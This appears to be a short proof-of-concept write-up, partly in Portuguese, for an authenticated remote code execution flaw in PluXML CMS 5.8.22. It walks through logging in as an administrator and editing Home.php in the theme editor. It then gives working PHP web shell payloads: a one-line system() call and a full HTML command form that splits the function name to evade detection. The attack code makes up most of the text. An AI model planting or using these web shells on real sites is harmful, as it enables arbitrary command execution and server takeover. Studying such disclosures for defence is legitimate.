
A critical Remote Code Execution (RCE) vulnerability has been identified in PluXML CMS version 5.8.22. This vulnerability allows authenticated administrators to execute arbitrary PHP code on the web server by uploading malicious PHP web shells through the theme editor functionality.
git clone https://github.com/pluxml/PluXml.git
cd PluXml
ddev config --project-type=php --php-version=8.1 --docroot=.
ddev start
Exploração Passo a Passo
Autenticação: Faça login no painel de administração do PluXML com credenciais de administrador válidas Navegue até o Editor de Temas:
Acesse o painel de administração
Navegue até: Temas → Home.php → Editar

Injetar Payload Malicioso:
<?php system($_GET['cmd']); ?>Acionar Execução:
Visite a página inicial do site O código PHP injetado é executado com privilégios do servidor web
Reverse Shell
Payload do webshell
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input
type="TEXT"
name="cmd"
autofocus
id="cmd"
size="80"
>
<input
type="SUBMIT"
value="Execute"
>
</form>
<pre>
<?php
if (isset($_GET['cmd'])) {
$func_name = "sys" . "tem";
$func_name($_GET['cmd']);
}
?>
</pre>
</body>
</html>